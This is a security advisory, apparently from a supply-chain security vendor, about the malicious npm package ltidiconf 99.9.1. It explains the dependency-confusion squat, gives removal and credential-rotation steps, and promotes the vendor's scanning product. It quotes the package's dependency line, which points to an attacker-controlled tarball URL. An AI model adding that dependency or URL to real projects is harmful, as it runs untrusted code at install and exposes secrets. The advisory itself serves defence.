ltidiconfnpm
ltidiconf is a confirmed malicious npm package (MAL-2026-5767) that executes malicious code on install (malicious version 99.9.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in ltidiconf (npm)
What this malware does
[email protected] is an empty wrapper package (index.js is module.exports = {};, empty author/description, inflated 99.9.1 version) whose sole effect on install is to pull a single dependency declared as a direct tarball URL: "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.0.8.tgz". The bytes at that GCS bucket are mutable, unpinned, and not integrity-hashed; the bucket owner can swap the tarball at any time, and whatever code is in it executes at npm install time and on require. The wrapper has no functional content of its own, the bucket path literally contains the string depenconf, and the 99.9.1 version is the canonical shape of a dependency-confusion squat designed to shadow an internal package name and drop arbitrary attacker-controlled code into the installer's environment.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
The OpenSSF Package Analysis project identified 'ltidiconf' @ 99.9.1 (npm) as malicious.
It is considered malicious because:
- The package communicates with a domain associated with malicious activity.

Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ltidiconf (version 99.9.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ltidiconf across your stack and pipelines.
If you installed it — respond
Remove ltidiconf from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If ltidiconf was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks ltidiconf before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
